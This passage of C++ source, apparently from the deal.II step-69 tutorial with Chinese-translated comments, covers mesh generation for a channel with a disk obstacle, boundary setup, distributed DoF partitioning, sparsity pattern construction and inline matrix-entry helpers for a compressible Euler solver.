schlieren_postprocessor; \n\n    vector_type output_vector; \n\n    std::future<void> background_thread_state; \n  }; \n// @sect3{Implementation}  \n// @sect4{Grid generation, setup of data structures}  \n\n// \u624b\u5934\u7684\u7b2c\u4e00\u4e2a\u4e3b\u8981\u4efb\u52a1\u662f\u5178\u578b\u7684\u7f51\u683c\u751f\u6210\u3001\u6570\u636e\u7ed3\u6784\u7684\u8bbe\u7f6e\u548c\u88c5\u914d\u8fd9\u4e09\u8005\u3002\u5728\u8fd9\u4e2a\u4f8b\u5b50\u7684\u6b65\u9aa4\u4e2d\uff0c\u4e00\u4e2a\u503c\u5f97\u6ce8\u610f\u7684\u521b\u65b0\u662f\u4f7f\u7528ParameterAcceptor\u7c7b\uff0c\u6211\u4eec\u7528\u5b83\u6765\u586b\u5145\u53c2\u6570\u503c\uff1a\u6211\u4eec\u9996\u5148\u521d\u59cb\u5316ParameterAcceptor\u7c7b\uff0c\u7528\u4e00\u4e2a\u5b57\u7b26\u4e32 <code>subsection</code> \u8868\u793a\u53c2\u6570\u6587\u4ef6\u4e2d\u7684\u6b63\u786e\u5206\u8282\uff0c\u8c03\u7528\u5b83\u7684\u6784\u9020\u5668\u3002\u7136\u540e\uff0c\u5728\u6784\u9020\u51fd\u6570\u4e2d\uff0c\u6bcf\u4e2a\u53c2\u6570\u503c\u90fd\u88ab\u521d\u59cb\u5316\u4e3a\u4e00\u4e2a\u5408\u7406\u7684\u9ed8\u8ba4\u503c\uff0c\u5e76\u901a\u8fc7\u8c03\u7528 ParameterAcceptor::add_parameter(). \u5411ParameterAcceptor\u7c7b\u6ce8\u518c\u3002\n  template <int dim> \n  Discretization<dim>::Discretization(const MPI_Comm     mpi_communicator, \n                                      TimerOutput &      computing_timer, \n                                      const std::string &subsection) \n    : ParameterAcceptor(subsection) \n    , mpi_communicator(mpi_communicator) \n    , triangulation(mpi_communicator) \n    , mapping(1) \n    , finite_element(1) \n    , quadrature(3) \n    , face_quadrature(3) \n    , computing_timer(computing_timer) \n  { \n    length = 4.; \n    add_parameter(\"length\", length, \"Length of computational domain\"); \n\n    height = 2.; \n    add_parameter(\"height\", height, \"Height of computational domain\"); \n\n    disk_position = 0.6; \n    add_parameter(\"object position\", \n                  disk_position, \n                  \"x position of immersed disk center point\"); \n\n    disk_diameter = 0.5; \n    add_parameter(\"object diameter\", \n                  disk_diameter, \n                  \"Diameter of immersed disk\"); \n\n    refinement = 5; \n    add_parameter(\"refinement\", \n                  refinement, \n                  \"Number of refinement steps of the geometry\"); \n  } \n\n// \u6ce8\u610f\u5728\u524d\u9762\u7684\u6784\u9020\u51fd\u6570\u4e2d\uff0c\u6211\u4eec\u53ea\u628aMPI\u901a\u4fe1\u5668\u4f20\u7ed9\u4e86 <code>triangulation</code> \uff0c\u4f46\u6211\u4eec\u4ecd\u7136\u6ca1\u6709\u521d\u59cb\u5316\u5e95\u5c42\u51e0\u4f55\u4f53/\u7f51\u683c\u3002\u5982\u524d\u6240\u8ff0\uff0c\u6211\u4eec\u5fc5\u987b\u5c06\u8fd9\u9879\u4efb\u52a1\u63a8\u8fdf\u5230 <code>setup()</code> \u51fd\u6570\uff0c\u5728 ParameterAcceptor::initialize() \u51fd\u6570\u7528\u4ece\u53c2\u6570\u6587\u4ef6\u4e2d\u8bfb\u53d6\u7684\u6700\u7ec8\u503c\u586b\u5145\u6240\u6709\u53c2\u6570\u53d8\u91cf\u540e\uff0c\u518d\u8c03\u7528\u8be5\u51fd\u6570\u3002\n\n//  <code>setup()</code> \u51fd\u6570\u662f\u6700\u540e\u4e00\u4e2a\u5fc5\u987b\u5b9e\u73b0\u7684\u7c7b\u6210\u5458\u3002\u5b83\u521b\u5efa\u4e86\u5b9e\u9645\u7684\u4e09\u89d2\u7ed3\u6784\uff0c\u8fd9\u662f\u4e00\u4e2a\u57fa\u51c6\u914d\u7f6e\uff0c\u7531\u4e00\u4e2a\u5e26\u6709\u76d8\u72b6\u969c\u788d\u7269\u7684\u901a\u9053\u7ec4\u6210\uff0c\u89c1  @cite GuermondEtAl2018  \u3002\u6211\u4eec\u901a\u8fc7\u4fee\u6539 GridGenerator::hyper_cube_with_cylindrical_hole(). \u751f\u6210\u7684\u7f51\u683c\u6765\u6784\u5efa\u51e0\u4f55\u4f53\u3002\u6211\u4eec\u53c2\u8003 step-49 \u3001 step-53 \u548c step-54 \u6765\u4e86\u89e3\u5982\u4f55\u521b\u5efa\u9ad8\u7ea7\u7f51\u683c\u3002\u6211\u4eec\u9996\u5148\u521b\u5efa4\u4e2a\u4e34\u65f6\u7684\uff08\u975e\u5206\u5e03\u5f0f\u7684\uff09\u7c97\u7565\u4e09\u89d2\u5f62\uff0c\u7528 GridGenerator::merge_triangulation() \u51fd\u6570\u5c06\u5176\u7f1d\u5408\u8d77\u6765\u3002\u6211\u4eec\u5728 $(0,0)$ \u5904\u5c06\u5706\u76d8\u5c45\u4e2d\uff0c\u76f4\u5f84\u4e3a <code>disk_diameter</code>  \u3002\u901a\u9053\u7684\u5de6\u4e0b\u89d2\u6709\u5750\u6807\uff08  <code>-disk_position</code>, <code>-height/2</code>  \uff09\uff0c\u53f3\u4e0a\u89d2\u6709\uff08  <code>length-disk_position</code>  ,  <code>height/2</code>  \uff09\u3002\n\n  template <int dim> \n  void Discretization<dim>::setup() \n  { \n    TimerOutput::Scope scope(computing_timer, \"discretization - setup\"); \n\n    triangulation.clear(); \n\n    Triangulation<dim> tria1, tria2, tria3, tria4, tria5, tria6; \n\n    GridGenerator::hyper_cube_with_cylindrical_hole( \n      tria1, disk_diameter / 2., disk_diameter, 0.5, 1, false); \n\n    GridGenerator::subdivided_hyper_rectangle( \n      tria2, \n      {2, 1}, \n      Point<2>(-disk_diameter, disk_diameter), \n      Point<2>(disk_diameter, height / 2.)); \n\n    GridGenerator::subdivided_hyper_rectangle( \n      tria3, \n      {2, 1}, \n      Point<2>(-disk_diameter, -disk_diameter), \n      Point<2>(disk_diameter, -height / 2.)); \n\n    GridGenerator::subdivided_hyper_rectangle( \n      tria4, \n      {6, 2}, \n      Point<2>(disk_diameter, -disk_diameter), \n      Point<2>(length - disk_position, disk_diameter)); \n\n    GridGenerator::subdivided_hyper_rectangle( \n      tria5, \n      {6, 1}, \n      Point<2>(disk_diameter, disk_diameter), \n      Point<2>(length - disk_position, height / 2.)); \n\n    GridGenerator::subdivided_hyper_rectangle( \n      tria6, \n      {6, 1}, \n      Point<2>(disk_diameter, -height / 2.), \n      Point<2>(length - disk_position, -disk_diameter)); \n\n    GridGenerator::merge_triangulations( \n      {&tria1, &tria2, &tria3, &tria4, &tria5, &tria6}, \n      triangulation, \n      1.e-12, \n      true); \n\n    triangulation.set_manifold(0, PolarManifold<2>(Point<2>())); \n\n// \u6211\u4eec\u5fc5\u987b\u4fee\u590d\u76ee\u524d\u4f4d\u4e8e $x=-$ \u7684\u5de6\u8fb9\u7f18\u3002\n// <code>disk_diameter</code> \uff0c\u5fc5\u987b\u79fb\u5230 $x=-$ \u3002\n// <code>disk_position</code>  . \u4f5c\u4e3a\u6700\u540e\u4e00\u6b65\uff0c\u8fb9\u754c\u5fc5\u987b\u88ab\u7740\u8272\uff0c\u53f3\u8fb9\u662f <code>Boundaries::do_nothing</code> \uff0c <code>dirichlet</code> on the left and <code>free_slip</code> \u662f\u4e0a\u3001\u4e0b\u5916\u8fb9\u754c\u548c\u969c\u788d\u7269\u3002\n\n    for (const auto &cell : triangulation.active_cell_iterators()) \n      { \n        for (const auto v : cell->vertex_indices()) \n          { \n            if (cell->vertex(v)[0] <= -disk_diameter + 1.e-6) \n              cell->vertex(v)[0] = -disk_position; \n          } \n      } \n\n    for (const auto &cell : triangulation.active_cell_iterators()) \n      { \n        for (const auto f : cell->face_indices()) \n          { \n            const auto face = cell->face(f); \n\n            if (face->at_boundary()) \n              { \n                const auto center = face->center(); \n\n                if (center[0] > length - disk_position - 1.e-6) \n                  face->set_boundary_id(Boundaries::do_nothing); \n                else if (center[0] < -disk_position + 1.e-6) \n                  face->set_boundary_id(Boundaries::dirichlet); \n                else \n                  face->set_boundary_id(Boundaries::free_slip); \n              } \n          } \n      } \n\n    triangulation.refine_global(refinement); \n  } \n// @sect4{Assembly of offline matrices}  \n\n// \u5728 <code>OfflineData</code> \u7684\u6784\u9020\u51fd\u6570\u4e2d\uff0c\u9664\u4e86\u5728\u521d\u59cb\u5316\u5217\u8868\u4e2d\u521d\u59cb\u5316\u76f8\u5e94\u7684\u7c7b\u6210\u5458\u5916\uff0c\u6ca1\u6709\u505a\u592a\u591a\u7684\u5de5\u4f5c\u3002\n\n  template <int dim> \n  OfflineData<dim>::OfflineData(const MPI_Comm             mpi_communicator, \n                                TimerOutput &              computing_timer, \n                                const Discretization<dim> &discretization, \n                                const std::string &        subsection) \n    : ParameterAcceptor(subsection) \n    , dof_handler(discretization.triangulation) \n    , mpi_communicator(mpi_communicator) \n    , computing_timer(computing_timer) \n    , discretization(&discretization) \n  {} \n\n// \u73b0\u5728\u6211\u4eec\u53ef\u4ee5\u521d\u59cb\u5316DoFHandler\uff0c\u4e3a\u672c\u5730\u62e5\u6709\u7684\u548c\u672c\u5730\u76f8\u5173\u7684DOF\u63d0\u53d6IndexSet\u5bf9\u8c61\uff0c\u5e76\u521d\u59cb\u5316\u4e00\u4e2a Utilities::MPI::Partitioner \u5bf9\u8c61\uff0c\u8fd9\u662f\u5206\u5e03\u5f0f\u5411\u91cf\u9700\u8981\u7684\u3002\n\n  template <int dim> \n  void OfflineData<dim>::setup() \n  { \n    IndexSet locally_owned; \n    IndexSet locally_relevant; \n\n    { \n      TimerOutput::Scope scope(computing_timer, \n                               \"offline_data - distribute dofs\"); \n\n      dof_handler.distribute_dofs(discretization->finite_element); \n\n      locally_owned   = dof_handler.locally_owned_dofs(); \n      n_locally_owned = locally_owned.n_elements(); \n\n      DoFTools::extract_locally_relevant_dofs(dof_handler, locally_relevant); \n      n_locally_relevant = locally_relevant.n_elements(); \n\n      partitioner = \n        std::make_shared<Utilities::MPI::Partitioner>(locally_owned, \n                                                      locally_relevant, \n                                                      mpi_communicator); \n    } \n// @sect4{Translation to local index ranges}  \n\n// \u6211\u4eec\u73b0\u5728\u53ef\u4ee5\u4e3a\u6211\u4eec\u7684\u77e9\u9635\u521b\u5efa\u7a00\u758f\u6a21\u5f0f\u4e86\u3002\u6709\u76f8\u5f53\u591a\u7684\u7279\u6b8a\u6027\u9700\u8981\u8be6\u7ec6\u89e3\u91ca\u3002\u6211\u4eec\u907f\u514d\u4f7f\u7528\u5206\u5e03\u5f0f\u77e9\u9635\u7c7b\uff08\u4f8b\u5982\u7531Trilinos\u6216PETSc\u63d0\u4f9b\u7684\uff09\uff0c\u800c\u662f\u4f9d\u9760deal.II\u81ea\u5df1\u7684SparseMatrix\u5bf9\u8c61\u6765\u5b58\u50a8\u6240\u6709\u77e9\u9635\u7684\u5c40\u90e8\u90e8\u5206\u3002\u8fd9\u4e00\u8bbe\u8ba1\u51b3\u5b9a\u7684\u52a8\u673a\u662f\uff1a(a)\u6211\u4eec\u5b9e\u9645\u4e0a\u4ece\u672a\u8fdb\u884c\u8fc7\u77e9\u9635-\u5411\u91cf\u4e58\u6cd5\uff0c(b)\u6211\u4eec\u603b\u662f\u53ef\u4ee5\u5728\u4e00\u4e2a\u7ed9\u5b9a\u7684MPI\u7b49\u7ea7\u4e0a\u4e13\u95e8\u7ec4\u88c5\u77e9\u9635\u7684\u5c40\u90e8\u90e8\u5206\u3002\u76f8\u53cd\uff0c\u6211\u4eec\u5c06\u8ba1\u7b97\u975e\u7ebf\u6027\u66f4\u65b0\uff0c\u540c\u65f6\u8fed\u4ee3\u8fde\u901a\u6027\u6a21\u7248\u7684\uff08\u5c40\u90e8\uff09\u90e8\u5206\uff1b\u8fd9\u662fdeal.II\u81ea\u5df1\u7684SparsityPattern\u4e13\u95e8\u4e3a\u4e4b\u4f18\u5316\u7684\u4efb\u52a1\u3002\n\n// \u4e0d\u8fc7\uff0c\u8fd9\u79cd\u8bbe\u8ba1\u8003\u8651\u6709\u4e00\u4e2a\u6ce8\u610f\u4e8b\u9879\u3002\u8ba9deal.II SparseMatrix\u7c7b\u53d8\u5f97\u5feb\u901f\u7684\u662fSparsityPattern\u4e2d\u4f7f\u7528\u7684<a\n//  href=\"https:en.wikipedia.org/wiki/Sparse_matrix\">compressed row\n//  storage (CSR)</a>\uff08\u89c1 @ref Sparsity  \uff09\u3002\u4e0d\u5e78\u7684\u662f\uff0c\u8fd9\u4e0e\u5168\u5c40\u5206\u5e03\u5f0f\u7d22\u5f15\u8303\u56f4\u4e0d\u76f8\u79f0\uff0c\u56e0\u4e3a\u5177\u6709CSR\u7684\u7a00\u758f\u6a21\u5f0f\u4e0d\u80fd\u5728\u7d22\u5f15\u8303\u56f4\u5185\u5305\u542b \"\u6d1e\"\u3002deal.II\u63d0\u4f9b\u7684\u5206\u5e03\u5f0f\u77e9\u9635\u901a\u8fc7\u5c06\u5168\u5c40\u7d22\u5f15\u8303\u56f4\u8f6c\u5316\u4e3a\u8fde\u7eed\u7684\u5c40\u90e8\u7d22\u5f15\u8303\u56f4\u6765\u907f\u514d\u8fd9\u4e00\u70b9\u3002\u4f46\u8fd9\u6b63\u662f\u6211\u4eec\u5728\u8fed\u4ee3\u6a21\u7248\u65f6\u60f3\u8981\u907f\u514d\u7684\u7d22\u5f15\u64cd\u4f5c\u7c7b\u578b\uff0c\u56e0\u4e3a\u5b83\u4ea7\u751f\u4e86\u53ef\u8861\u91cf\u7684\u5f00\u9500\u3002\n\n//  Utilities::MPI::Partitioner \u7c7b\u5df2\u7ecf\u5b9e\u73b0\u4e86\u4ece\u5168\u5c40\u7d22\u5f15\u8303\u56f4\u5230\u8fde\u7eed\u7684\u5c40\u90e8\uff08\u6bcf\u4e2aMPI\u7b49\u7ea7\uff09\u7d22\u5f15\u8303\u56f4\u7684\u8f6c\u6362\uff1a\u6211\u4eec\u4e0d\u9700\u8981\u91cd\u65b0\u53d1\u660e\u8f6e\u5b50\u3002\u6211\u4eec\u53ea\u9700\u8981\u4f7f\u7528\u8fd9\u79cd\u8f6c\u6362\u80fd\u529b\uff08\u4e00\u6b21\uff0c\u800c\u4e14\u53ea\u6709\u4e00\u6b21\uff09\uff0c\u4ee5\u4fbf\u4e3a\u8fde\u7eed\u7684\u7d22\u5f15\u8303\u56f4\u521b\u5efa\u4e00\u4e2a \"\u672c\u5730 \"\u7a00\u758f\u6a21\u5f0f  $[0,$  \u3002\n// <code>n_locally_relevant</code>  \n// $)$  . \u8fd9\u79cd\u80fd\u529b\u53ef\u4ee5\u901a\u8fc7 Utilities::MPI::Partitioner::global_to_local() \u51fd\u6570\u6765\u8c03\u7528\u3002\u4e00\u65e6\u4f7f\u7528\u672c\u5730\u7d22\u5f15\u521b\u5efa\u4e86\u7a00\u758f\u6a21\u5f0f\uff0c\u5269\u4e0b\u8981\u505a\u7684\u5c31\u662f\u786e\u4fdd\uff08\u5728\u5b9e\u73b0\u6211\u4eec\u7684scatter\u548cgather\u8f85\u52a9\u51fd\u6570\u65f6\uff09\u6211\u4eec\u603b\u662f\u901a\u8fc7\u8c03\u7528 LinearAlgebra::distributed::Vector::local_element(). \u6765\u8bbf\u95ee\u5206\u5e03\u5f0f\u5411\u91cf\u7684\u5143\u7d20\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u5b8c\u5168\u907f\u514d\u4e86\u7d22\u5f15\u8f6c\u6362\uff0c\u5e76\u5b8c\u5168\u4f7f\u7528\u672c\u5730\u7d22\u5f15\u8fdb\u884c\u64cd\u4f5c\u3002\n\n    { \n      TimerOutput::Scope scope( \n        computing_timer, \n        \"offline_data - create sparsity pattern and set up matrices\"); \n\n// \u6211\u4eec\u5fc5\u987b\u624b\u5de5\u521b\u5efa \"\u672c\u5730 \"\u7a00\u758f\u6a21\u5f0f\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u5728\u6240\u6709\u672c\u5730\u62e5\u6709\u7684\u548c\u91cd\u5f71\u7684\u5355\u5143\u4e0a\u5faa\u73af\uff08\u89c1  @ref  GlossArtificialCell\uff09\uff0c\u5e76\u63d0\u53d6\u4e0e\u5355\u5143DOF\u76f8\u5173\u7684\uff08\u5168\u5c40\uff09  <code>dof_indices</code>  \uff0c\u5e76\u4f7f\u7528  <code>partitioner->global_to_local(index)</code>  \u91cd\u65b0\u7f16\u53f7\u3002\n\n// \u5728\u672c\u5730\u62e5\u6709\u7684DOF\u7684\u60c5\u51b5\u4e0b\uff0c\u8fd9\u79cd\u91cd\u65b0\u7f16\u53f7\u5305\u62ec\u5e94\u7528\u4e00\u4e2a\u79fb\u4f4d\uff08\u5373\u6211\u4eec\u51cf\u53bb\u4e00\u4e2a\u504f\u79fb\u91cf\uff09\uff0c\u8fd9\u6837\uff0c\u73b0\u5728\u5b83\u4eec\u5c06\u6210\u4e3a\u6574\u6570\u533a\u95f4 $[0,$ \u4e2d\u7684\u4e00\u4e2a\u6570\u5b57\u3002\n// <code>n_locally_owned</code>   $)$  .\n//\u7136\u800c\uff0c\u5728\u91cd\u5f71\u9053\u6b21\u7684\u60c5\u51b5\u4e0b\uff08\u5373\u4e0d\u662f\u672c\u5730\u62e5\u6709\u7684\uff09\uff0c\u60c5\u51b5\u5c31\u5b8c\u5168\u4e0d\u540c\u4e86\uff0c\u56e0\u4e3a\u4e0e\u91cd\u5f71\u9053\u6b21\u76f8\u5173\u7684\u5168\u5c40\u6307\u6570\uff08\u4e00\u822c\u6765\u8bf4\uff09\u4e0d\u4f1a\u662f\u4e00\u4e2a\u8fde\u7eed\u7684\u6574\u6570\u96c6\u3002\n\n      DynamicSparsityPattern dsp(n_locally_relevant, n_locally_relevant); \n\n      const auto dofs_per_cell = \n        discretization->finite_element.n_dofs_per_cell(); \n      std::vector<types::global_dof_index> dof_indices(dofs_per_cell); \n\n      for (const auto &cell : dof_handler.active_cell_iterators()) \n        { \n          if (cell->is_artificial()) \n            continue; \n\n          /* We transform the set of global dof indices on the cell to the\n           * corresponding \"local\" index range on the MPI process: */\n          cell->get_dof_indices(dof_indices); \n          std::transform(dof_indices.begin(), \n                         dof_indices.end(), \n                         dof_indices.begin(), \n                         [&](types::global_dof_index index) { \n                           return partitioner->global_to_local(index); \n                         }); \n\n/* \u4e3a\u6bcf\u4e2adof\u7b80\u5355\u5730\u6dfb\u52a0\u4e00\u4e2a\u4e0e\u6240\u6709\u5176\u4ed6 \"\u672c\u5730 \"\u7684\u8054\u63a5\u3002 */\n\n           /* dofs on the cell: */ \n\n\n          for (const auto dof : dof_indices) \n            dsp.add_entries(dof, dof_indices.begin(), dof_indices.end()); \n        } \n\n      sparsity_pattern.copy_from(dsp); \n\n      lumped_mass_matrix.reinit(sparsity_pattern); \n      norm_matrix.reinit(sparsity_pattern); \n      for (auto &matrix : cij_matrix) \n        matrix.reinit(sparsity_pattern); \n      for (auto &matrix : nij_matrix) \n        matrix.reinit(sparsity_pattern); \n    } \n  } \n\n// DoFHandler\u548cSparseMatrix\u5bf9\u8c61\u7684\u8bbe\u7f6e\u5230\u6b64\u7ed3\u675f\u3002\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u8981\u7ec4\u88c5\u5404\u79cd\u77e9\u9635\u3002\u6211\u4eec\u5728\u4e00\u4e2a\u533f\u540d\u547d\u540d\u7a7a\u95f4\u4e2d\u5b9a\u4e49\u4e86\u4e00\u4e9b\u8f85\u52a9\u51fd\u6570\u548c\u6570\u636e\u7ed3\u6784\u3002\n\n  namespace \n  { \n// <code>CopyData</code> \u7c7b\uff0c\u5c06\u7528\u4e8e\u4f7f\u7528WorkStream\u7ec4\u88c5\u79bb\u7ebf\u6570\u636e\u77e9\u9635\u3002\u5b83\u4f5c\u4e3a\u4e00\u4e2a\u5bb9\u5668\uff1a\u5b83\u53ea\u662f\u4e00\u4e2a\u7ed3\u6784\uff0cWorkStream\u5728\u5176\u4e2d\u5b58\u50a8\u672c\u5730\u5355\u5143\u7684\u8d21\u732e\u3002\u8bf7\u6ce8\u610f\uff0c\u5b83\u8fd8\u5305\u542b\u4e00\u4e2a\u7c7b\u6210\u5458 <code>local_boundary_normal_map</code> \uff0c\u7528\u4e8e\u5b58\u50a8\u8ba1\u7b97\u8fb9\u754c\u6cd5\u7ebf\u6240\u9700\u7684\u5c40\u90e8\u8d21\u732e\u3002\n\n    template <int dim> \n    struct CopyData \n    { \n      bool                                         is_artificial; \n      std::vector<types::global_dof_index>         local_dof_indices; \n      typename OfflineData<dim>::BoundaryNormalMap local_boundary_normal_map; \n      FullMatrix<double>                           cell_lumped_mass_matrix; \n      std::array<FullMatrix<double>, dim>          cell_cij_matrix; \n    }; \n\n// \u63a5\u4e0b\u6765\u6211\u4eec\u4ecb\u7ecd\u4e00\u4e9b\u8f85\u52a9\u51fd\u6570\uff0c\u5b83\u4eec\u90fd\u662f\u5173\u4e8e\u8bfb\u5199\u77e9\u9635\u548c\u5411\u91cf\u6761\u76ee\u7684\u3002\u5b83\u4eec\u7684\u4e3b\u8981\u52a8\u673a\u662f\u63d0\u4f9b\u7a0d\u5fae\u6709\u6548\u7684\u4ee3\u7801\u548c<a href=\"https:en.wikipedia.org/wiki/Syntactic_sugar\"> syntactic sugar</a>\u7684\u4ee3\u7801\uff0c\u5426\u5219\u5c31\u6709\u4e9b\u4e4f\u5473\u4e86\u3002\n\n// \u6211\u4eec\u4ecb\u7ecd\u7684\u7b2c\u4e00\u4e2a\u51fd\u6570  <code>get_entry()</code>  \uff0c\u5c06\u7528\u4e8e\u8bfb\u53d6SparsityPattern\u8fed\u4ee3\u5668  <code>it</code> of <code>matrix</code>  \u6307\u5411\u7684\u6761\u76ee\u6240\u5b58\u50a8\u7684\u503c\u3002\u8be5\u51fd\u6570\u7ed5\u8fc7\u4e86SparseMatrix\u63a5\u53e3\u4e2d\u7684\u4e00\u4e2a\u5c0f\u7f3a\u9677\u3002SparsityPattern\u5173\u6ce8\u7684\u662f\u4ee5CRS\u683c\u5f0f\u5b58\u50a8\u7684\u7a00\u758f\u77e9\u9635\u7684\u6240\u6709\u7d22\u5f15\u64cd\u4f5c\u3002\u56e0\u6b64\uff0c\u8fed\u4ee3\u5668\u5df2\u7ecf\u77e5\u9053\u5b58\u50a8\u5728SparseMatrix\u5bf9\u8c61\u4e2d\u7684\u4f4e\u7ea7\u5411\u91cf\u4e2d\u76f8\u5e94\u77e9\u9635\u6761\u76ee\u7684\u5168\u5c40\u7d22\u5f15\u3002\u7531\u4e8eSparseMatrix\u4e2d\u7f3a\u4e4f\u76f4\u63a5\u7528SparsityPattern\u8fed\u4ee3\u5668\u8bbf\u95ee\u8be5\u5143\u7d20\u7684\u63a5\u53e3\uff0c\u4e0d\u5e78\u7684\u662f\u6211\u4eec\u5fc5\u987b\u521b\u5efa\u4e00\u4e2a\u4e34\u65f6\u7684SparseMatrix\u8fed\u4ee3\u5668\u3002\u6211\u4eec\u53ea\u9700\u5c06\u5176\u9690\u85cf\u5728 <code>get_entry()</code> \u51fd\u6570\u4e2d\u3002\n\n    template <typename IteratorType> \n    DEAL_II_ALWAYS_INLINE inline SparseMatrix<double>::value_type \n    get_entry(const SparseMatrix<double> &matrix, const IteratorType &it) \n    { \n      const SparseMatrix<double>::const_iterator matrix_iterator( \n        &matrix, it->global_index()); \n      return matrix_iterator->value(); \n    } \n\n//  <code>set_entry()</code> \u5e2e\u52a9\u5668\u662f <code>get_value()</code> \u7684\u9006\u8fd0\u7b97\uff1a\u7ed9\u5b9a\u4e00\u4e2a\u8fed\u4ee3\u5668\u548c\u4e00\u4e2a\u503c\uff0c\u5b83\u5728\u77e9\u9635\u4e2d\u8bbe\u7f6e\u8fed\u4ee3\u5668\u6240\u6307\u5411\u7684\u6761\u76ee\u3002\n\n    template <typename IteratorType> \n    DEAL_II_ALWAYS_INLINE inline void \n    set_entry(SparseMatrix<double> &           matrix, \n              const IteratorType &             it, \n              SparseMatrix<double>::value_type value) \n    { \n      SparseMatrix<double>::iterator matrix_iterator(&matrix, \n                                                     it->global_index()); \n      matrix_iterator->value() = value; \n    } \n// <code>gather_get_entry()</code>  : \u6211\u4eec\u6ce8\u610f\u5230 $\\mathbf{c}_{ij} \\in \\mathbb{R}^d$  \u3002\u5982\u679c $d=2$ \uff0c\u90a3\u4e48 $\\mathbf{c}_{ij} = [\\mathbf{c}_{ij}^1,\\mathbf{c}_{ij}^2]^\\top$  \u3002\u8fd9\u57fa\u672c\u4e0a\u610f\u5473\u7740\u6211\u4eec\u9700\u8981\u6bcf\u4e2a\u7a7a\u95f4\u7ef4\u5ea6\u7684\u4e00\u4e2a\u77e9\u9635\u6765\u5b58\u50a8 $\\mathbf{c}_{ij}$ \u5411\u91cf\u3002\u5bf9\u4e8e\u77e9\u9635 $\\mathbf{n}_{ij}$ \u4e5f\u6709\u7c7b\u4f3c\u7684\u89c2\u5bdf\u3002 <code>gather_get_entry()</code> \u7684\u76ee\u7684\u662f\u68c0\u7d22\u8fd9\u4e9b\u6761\u76ee\u5e76\u5c06\u5176\u5b58\u50a8\u5230 <code>Tensor<1, dim></code> \u4e2d\uff0c\u4ee5\u65b9\u4fbf\u6211\u4eec\u4f7f\u7528\u3002\n\n    template <std::size_t k, typename IteratorType> \n    DEAL_II_ALWAYS_INLINE inline Tensor<1, k> \n    gather_get_entry(const std::array<SparseMatrix<double>, k> &c_ij, \n                     const IteratorType                         it) \n    { \n      Tensor<1, k> result; \n      for (unsigned int j = 0; j < k; ++j) \n        result[j] = get_entry(c_ij[j], it); \n      return result; \n    } \n// <code>gather()</code> \uff08\u7b2c\u4e00\u4e2a\u63a5\u53e3\uff09\uff1a\u8fd9\u4e2a\u7b2c\u4e00\u4e2a\u51fd\u6570\u7b7e\u540d\uff0c\u6709\u4e09\u4e2a\u8f93\u5165\u53c2\u6570\uff0c\u5c06\u88ab\u7528\u6765\u68c0\u7d22\u77e9\u9635\u7684\u5404\u4e2a\u7ec4\u6210\u90e8\u5206 <code>(i,l)</code> \u3002 <code>gather_get_entry()</code> \u548c <code>gather()</code> \u7684\u529f\u80fd\u975e\u5e38\u76f8\u540c\uff0c\u4f46\u5b83\u4eec\u7684\u80cc\u666f\u4e0d\u540c\uff1a\u51fd\u6570 <code>gather()</code> \u4e0d\u4f9d\u8d56\u8fed\u4ee3\u5668\uff08\u5b9e\u9645\u4e0a\u77e5\u9053\u6307\u5411\u7684\u503c\uff09\uff0c\u800c\u662f\u4f9d\u8d56\u6761\u76ee\u7684\u7d22\u5f15 <code>(i,l)</code> \uff0c\u4ee5\u4fbf\u68c0\u7d22\u5176\u5b9e\u9645\u503c\u3002\u6211\u4eec\u5e94\u8be5\u671f\u671b  <code>gather()</code>  \u6bd4  <code>gather_get_entry()</code>  \u7a0d\u5fae\u6602\u8d35\u4e00\u4e9b\u3002 <code>gather()</code> \u7684\u4f7f\u7528\u5c06\u9650\u4e8e\u8ba1\u7b97\u4ee3\u6570\u7c98\u5ea6 $d_{ij}$ \u7684\u4efb\u52a1\uff0c\u5728\u7279\u6b8a\u60c5\u51b5\u4e0b\uff0c\u5f53 $i$ \u548c $j$ \u90fd\u4f4d\u4e8e\u8fb9\u754c\u65f6\u3002\n\n//  @note  \u8bfb\u8005\u5e94\u8be5\u77e5\u9053\uff0c\u8bbf\u95ee\u4e00\u4e2a\u77e9\u9635\u7684\u4efb\u610f <code>(i,l)</code> \u6761\u76ee\uff08\u4f8b\u5982Trilinos\u6216PETSc\u77e9\u9635\uff09\u4e00\u822c\u6765\u8bf4\u662f\u6602\u8d35\u5f97\u4e0d\u53ef\u63a5\u53d7\u7684\u3002\u5728\u8fd9\u91cc\uff0c\u6211\u4eec\u53ef\u80fd\u8981\u6ce8\u610f\u590d\u6742\u5ea6\uff1a\u6211\u4eec\u5e0c\u671b\u8fd9\u4e2a\u64cd\u4f5c\u6709\u6052\u5b9a\u7684\u590d\u6742\u5ea6\uff0c\u8fd9\u5c31\u662f\u76ee\u524d\u4f7f\u7528deal.II\u77e9\u9635\u7684\u5b9e\u73b0\u7684\u60c5\u51b5\u3002\n\n    template <std::size_t k> \n    DEAL_II_ALWAYS_INLINE inline Tensor<1, k> \n    gather(const std::array<SparseMatrix<double>, k> &n_ij, \n           const unsigned int                         i, \n           const unsigned int                         j) \n    { \n      Tensor<1, k> result; \n      for (unsigned int l = 0; l < k; ++l) \n        result[l] = n_ij[l](i, j); \n      return result; \n    } \n// <code>gather()</code> \uff08\u7b2c\u4e8c\u4e2a\u63a5\u53e3\uff09\uff1a\u8fd9\u4e2a\u6709\u4e24\u4e2a\u8f93\u5165\u53c2\u6570\u7684\u7b2c\u4e8c\u4e2a\u51fd\u6570\u7b7e\u540d\u5c06\u88ab\u7528\u6765\u6536\u96c6\u8282\u70b9 <code>i</code> \u7684\u72b6\u6001\uff0c\u5e76\u4f5c\u4e3a <code>Tensor<1,problem_dimension></code> \u8fd4\u56de\uff0c\u4ee5\u65b9\u4fbf\u6211\u4eec\u4f7f\u7528\u3002\n\n    template <std::size_t k> \n    DEAL_II_ALWAYS_INLINE inline Tensor<1, k> \n    gather(const std::array<LinearAlgebra::distributed::Vector<double>, k> &U, \n           const unsigned int                                               i) \n    { \n      Tensor<1, k> result; \n      for (unsigned int j = 0; j < k; ++j) \n        result[j] = U[j].local_element(i); \n      return result; \n    } \n// <code>scatter()</code>  \uff1a\u8fd9\u4e2a\u51fd\u6570\u6709\u4e09\u4e2a\u8f93\u5165\u53c2\u6570\uff0c\u7b2c\u4e00\u4e2a\u662f\u6307\u4e00\u4e2a 